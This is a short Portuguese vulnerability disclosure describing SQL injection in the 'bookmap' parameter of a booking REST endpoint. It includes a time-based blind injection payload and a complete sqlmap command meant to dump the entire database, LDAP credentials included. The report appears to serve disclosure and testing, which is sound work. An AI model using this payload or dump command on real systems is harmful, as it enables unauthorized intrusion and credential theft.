
Descrição:
A vulnerabilidade encontrada é uma injeção de SQL. O parâmetro bookmap é vulnerável. Ao visitar a página: http://192.168.0.56/rest/booking/index.php?mode=list&bookmap=test obtemos a resposta JSON normal. Porém, se uma aspa simples for adicionada ao valor do parâmetro bookmap, obtemos uma mensagem de erro:
<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in <b>/var/www/html/rest/booking/index.php</b> on line <b>152</b><br />
Agora, se duas aspas simples forem adicionadas, obtemos a resposta normal sem erro. Isso confirma a oportunidade para injeção de SQL. Para realmente provar a injeção de SQL, adicionamos o seguinte payload:
'-(select*from(select+sleep(2)+from+dual)a)--+
A página sofrerá um atraso de dois segundos. Isso confirma a injeção de SQL.
Passos para reproduzir:
Envie o seguinte payload para testar a vulnerabilidade: '-(select*from(select+sleep(2)+from+dual)a)--+
Se o site atrasou por dois segundos, execute o seguinte comando sqlmap para extrair todo o banco de dados, incluindo as credenciais LDAP.
python3 sqlmap.py -u "http://<IP>/rest/booking/index.php?mode=list&bookmap=test*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump
Agradecimento especial ao iCaotix, que me ajudou muito a configurar o ambiente e também a depurar meu payload.
Observe o tempo de resposta.
